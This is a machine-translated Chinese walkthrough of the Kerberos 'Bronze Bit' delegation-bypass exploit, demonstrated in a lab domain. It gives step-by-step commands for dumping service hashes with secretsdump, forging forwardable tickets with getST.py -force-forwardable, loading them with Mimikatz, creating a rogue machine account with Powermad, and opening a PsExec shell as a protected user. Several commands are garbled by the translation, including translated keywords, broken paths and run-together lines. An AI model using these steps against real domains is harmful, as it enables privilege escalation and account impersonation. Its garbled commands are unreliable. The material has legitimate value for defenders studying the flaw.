本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
Kerberos 安全功能绕过漏洞
该漏洞的一般攻击路径如下:
-
攻击者在 AD 环境中立足。
-
攻击者获取环境中服务的密码哈希。我们将此服务称为 “Service1”。攻击者可以通过多种方式获得必要的哈希,例如 DC Sync 攻击,Kerberoasting,甚至可以通过 Powermad 使用 SPN 创建新的计算机帐户。
-
Service1 与另一个服务具有受约束的委派信任关系。我们将其称为 “Service2”。此信任关系可以是下列之一:
-
如果攻击者对 AD 中的 Service2 对象具有写权限(GenericAll,GenericWrite,WriteOwner 等),则攻击者可以将 Service1 添加到 Service2 的 “PrincipalsAllowedToDelegateToAccount” 列表中。这不需要 Elad Shamir 和 Will Schroeder 所述的域管理员特权。
-
Service1 配置为执行对 Service2 的约束委派。也就是说,Service2 在 Service1 的 “AllowedToDelegateTo” 列表中。
-
Service2 配置为接受来自 Service1 的基于资源的约束委派。也就是说,Service1 在 Service2 的 “PrincipalsAllowedToDelegateToAccount” 列表中。
-
攻击者利用此漏洞充当 Service1,并获得 Kerberos 服务票证作为 Service2 的目标用户。
-
攻击者冒充目标用户,向 Service2 提供服务票证。攻击者现在已作为目标用户向 Service2 进行身份验证,并且可以在目标用户的权限下与 Service2 进行交互。
青铜位漏洞已被开发为的延伸 Impacket 从在好乡亲框架 SecureAuth。一个拉请求目前正在等待新开发的功能合并。Impacket 内有很多强大的功能,但是我们对 getST.py 程序感兴趣。让我们首先回顾一下没有利用漏洞的程序功能。在第 4 步,我们将从上方跳入攻击路径。假设我们已经获得了 Service1 的哈希值,Service1 与 Service2 具有受限的委托信任关系,并且我们试图以目标用户身份获得对 Service2 的访问权限。
可以使用 getST.py 程序执行 S4U 交换并以指定用户的身份获得指定服务的服务票证。如果允许 Service1 执行协议转换(即使用 “TrustedToAuthForDelegation” 进行配置),并且未保护用户免受委托,则执行将类似于以下内容:
利用最终的服务票证,攻击者可以模拟目标用户并成功与 Service2 进行交互。但是,如果不允许 Service1 执行协议转换或保护用户免受委托,则在 S4U2self 交换中获得的中间服务票证将不可转发,并且 S4U2proxy 请求将失败。
Bronze Bit 漏洞已被实现为 getST.py 程序的扩展。我添加了一个新的 -force-forwardable 标志,可以将其作为命令行参数传递。如果存在 -force-forwardable 标志,则在 S4U2self 交换后执行漏洞利用。由 KDC 在 S4U2self 交换中返回的服务票证将使用 Service1 的长期密钥,其可转发标志设置进行解密,然后重新加密。更改后的票证将附加在 S4U2proxy 交换中,KDC 将作为目标用户返回 Service2 的服务票证。
绕过限制并准备好服务凭单后,攻击者即可模拟目标用户并与 Service2 进行交互(攻击路径中的步骤 5)。
让我们看看实际的攻击。在这种情况下,我们将看到利用该漏洞的方法,我们可以绕过 “信任此用户以仅委派给指定服务–仅使用 Kerberos” 保护,并冒充受委派保护的用户。我们将从一些初始环境设置开始。
我们的测试域(test.local)具有 3 台运行 Windows Server 2019 版本的服务器,但未修复此漏洞。我们将从作为 Service1 服务器上的 User1 的立足点发动攻击。我们将定位到对 Service2 服务器具有管理访问权限的 User2。我们将与域控制器(DC)交互所有 Kerberos 票证。
在 DC 上,对 Service1 进行配置,以使其可以执行受约束的委派,而无需协议过渡到 Service2。这样可以确保满足攻击路径第 3 步的条件。如果在 Active Directory GUI 中设置了此配置,则它将类似于以下内容:
仍然在 DC 上时,还要更新 User2 帐户,以防止其受委派。可以使用 “敏感帐户,不能委托” 属性配置该帐户。该帐户也可以成为 “受保护的用户” 组的成员。这些配置更改中的一个或两个都等效于此演示:
退出域控制器,并以 User1 身份登录 Service1 服务器。这模拟在环境中立足(攻击路径中的步骤 1 )。启动 PowerShell 会话,并确认 User1 和 Service1 当前无法在其自己的授权下访问 Service2。
命令:
-
ls \ service2.test.local \ c $
-
。\ PSTools \ PsExec64.exe \ service2.test.local \ powershell.exe
执行:
我们已经确认 User1 无法直接访问 Service2。我们继续攻击路径的第二步:获取 Service1 的哈希值。在这种情况下,我们将使用 Impacket 的 secretsdump.py 程序来获取 Service1 机器帐户的 AES256-CTS-HMAC-SHA1-96 和 LM:NTLM 哈希。
命令:
- python。\ impacket \ examples \ secretsdump.py'test / user1:<user1_password> @ Service1.test.local'
执行:
在获得必要的哈希之后,我们将首先尝试在没有 - force-forwardable 标志的情况下执行 getST.py 程序。这将按预期失败。如前所述,S4U2self 交换机仍将服务票证返回给用户 2 的 Service1,但是由于服务的委派限制和用户免受委派的保护,未设置该票证的 Forwardable 标志。当票证在 S4U2proxy 交换中用作证据时,这会导致错误。
命令:
- 。\ impacket \ examples \ getST.py -spn cifs / Service2.test.local - 模拟 User2 - 哈希 <LM:NTLM 哈希> -aesKey <AES 哈希 > test.local / Service1
执行:
我们所有人都在等待的时刻:让我们运行漏洞利用程序!这是我们攻击路径的第 4 步。我们将重复前面的命令,但是这次包括 -force-forwardable 命令行参数。
命令:
- 。\ impacket \ examples \ getST.py -spn cifs / Service2.test.local - 模拟 User2 - 哈希 <LM:NTLM hash> -aesKey test.local / Service1 -force-forwardable
执行:
哇!激动人心的东西!让我们专注于几行输出:
来自 S4U2 自身标志的服务票证:00000000101000010000000000000000
S4U2self 的服务票不可转发
强制服务票证可转发
修改后的服务票证标志:01000000101000010000000000000000
现在可以转发来自 S4U2self 的服务票证
通过包含 -force-forwardable 标志,该漏洞利用会自动执行,并将从 S4U2self 交换机收到的服务票证转换为可转发票证。这是通过使用 Service1 的哈希值解密票证,将标志值的第二个位从 0 更改为 1 并重新加密票证来完成的。此可转发票证在 S4U2proxy 交换中发送,并且作为 User2 的 Service2 的服务票证被返回并写入 User2.ccache 的磁盘。
接下来,我们将使用 Mimikatz 将服务票证加载到票证缓存中以供使用。加载后,我们将看到 Mimikatz 确认这是 User2 到 Service2 的 cifs 服务的有效票证。
命令:
- 。\ mimikatz \ mimikatz.exe “kerberos :: ptc User2.ccache” 退出
执行:
将服务票证添加到缓存后,我们现在就可以像访问 User2 一样访问 Service2 了。我们拥有 User2 在 Service2 上的所有权限。我们将使用 Mark Russinovich 的 PSExec 在 Service2 服务器上获取 PowerShell 会话,并运行一些命令。这是攻击路径的最后第五步。
命令:
-
ls \ service2.test.local \ c $
-
。\ PSTools \ PsExec64.exe \ service2.test.local \ powershell.exe
执行:
我们终于得到它了。我们已经翻转并滥用了 Kerberos 委派,以通过模仿受保护的用户来提升我们的特权并损害其他服务。
让我们探索具有不同起始条件的另一条攻击路径。在这种情况下,我们将看到成功折衷 Service2 所需的全部 AD 中 Service2 对象的写权限。
我们将继续使用上一个示例中的环境,并进行一些修改。目标 User2 帐户可以保留其配置为 “受保护的用户” 成员的身份,或使用 “帐户敏感且无法委派” 属性来保持其配置。
首先,删除 Service1 的委派权限。连接到 DC 并使用 “不信任此计算机进行委派” 配置 Service1。
编辑 Service2 计算机对象,向 User1 授予写权限。当我们直接向立足用户授予权限时,用户通常将通过特权组的成员身份获得对一个或多个 AD 对象的写权限。用户不一定需要是域管理员。
退出域控制器,并以 User1 身份登录 Service1 服务器。像以前一样,这模拟了在环境中的立足点(“攻击路径” 中的步骤 1 )。如果您从第一个示例继续,请确保清除本地 Kerberos 票证缓存。清除缓存的最有效方法就是重新启动 Service1。
与我们之前的示例不同,此攻击不会利用 Service1 和 Service2 之间的任何委派信任关系。在将 Service1 配置为 “不信任此计算机进行委派” 之后,此信任关系不再存在。我们需要与 Service2 建立新的委派关系,这是一次全新的服务。
要在环境中的新服务,我们将使用凯文 · 罗伯逊的 Powermad 创建一个新的计算机帐户。这不需要提升的特权,并且默认情况下该域中的任何用户均可使用。我们将机器帐户命名为 “AttackerService”,并提供一个任意密码:“ AttackerServicePassword”
命令:
-
导入模块。\ Powermad \ powermad.ps1
-
新 MachineAccount -MachineAccount AttackerService -Password $ (的 ConvertTo-SecureString 的'AttackerServicePassword' -AsPlainText -Force )
执行:
由于我们选择了新机器帐户的密码,因此我们可以使用 Mimikatz 轻松计算出相应的密码哈希。这将完成攻击路径的步骤 2。
命令:
- 。\ mimikatz \ mimikatz.exe “kerberos :: hash / password:AttackerServicePassword / user:AttackerService /domain:test.local” 退出
执行:
让我们使用 PowerShell Active Directory 模块检查我们新创建的机器帐户。由于该模块尚不可用,因此我们将安装相应的功能,导入该模块,然后检查我们新创建的计算机帐户。
命令:
-
Install-WindowsFeature RSAT-AD-PowerShell
-
导入模块 ActiveDirectory
-
Get-ADComputer AttackerService
执行:
确认机器帐户的存在之后,我们可以在 Service2 和 AttackerService 之间建立约束委派信任关系。由于 User1(我们的受控立足帐户)对 Service2 对象具有写权限,因此我们可以将 AttackerService 添加到 Service2 的 PrincipalsAllowedToDelegateToAccount 列表中。这将在 Service2 上建立基于资源的约束委派,并从 AttackerService 接受约束委派。完成此步骤后,我们就满足了攻击路径第 3 步的条件。
命令:
-
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService $
-
Get-ADComputer Service2 - 属性主体 AllowedToDelegateToAccount
执行:
我们准备继续执行攻击路径的第 4 步并执行漏洞利用。我们将使用与上一个示例相同的命令,但是这次指定 AttackerService 而不是 Service1,并且使用 Mimikatz 计算哈希值。当在命令中包含 -force-forwardable 标志时,我们将看到与上一个示例相同的结果。执行漏洞利用,设置可转发标志,并将作为 User2 的 Service2 的服务票证写入 User2.ccache 的磁盘。
命令:
- 蟒蛇 \ impacket \ 例子 \ getST.py -spn CIFS / Service2.test.local -impersonate 用户 2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local / AttackerService -force-forwardableet-ADComputer 客服 2 -PrincipalsAllowedToDelegateToAccount AttackerService $
执行:
现在,我们可以简单地重复上一个示例中的最终命令。通过使用 Mimikatz 将服务票证加载到我们的本地 Kerberos 票证缓存中,我们将为攻击路径的第 5 步做准备。然后,我们将通过与 Service2 进行交互(模拟 User2)来执行步骤 5。
命令:
-
。\ mimikatz \ mimikatz.exe “kerberos :: ptc User2.ccache” 出口 | 空空
-
ls \ service2.test.local \ c $
-
。\ PSTools \ PsExec64.exe \ service2.test.local \ powershell.exe
-
我是谁
-
主机名
执行:
就这样!通过我们对 Service2 AD 对象的立足点和写许可权,我们已经使用了应该受到这种委托保护的用户权限来破坏服务。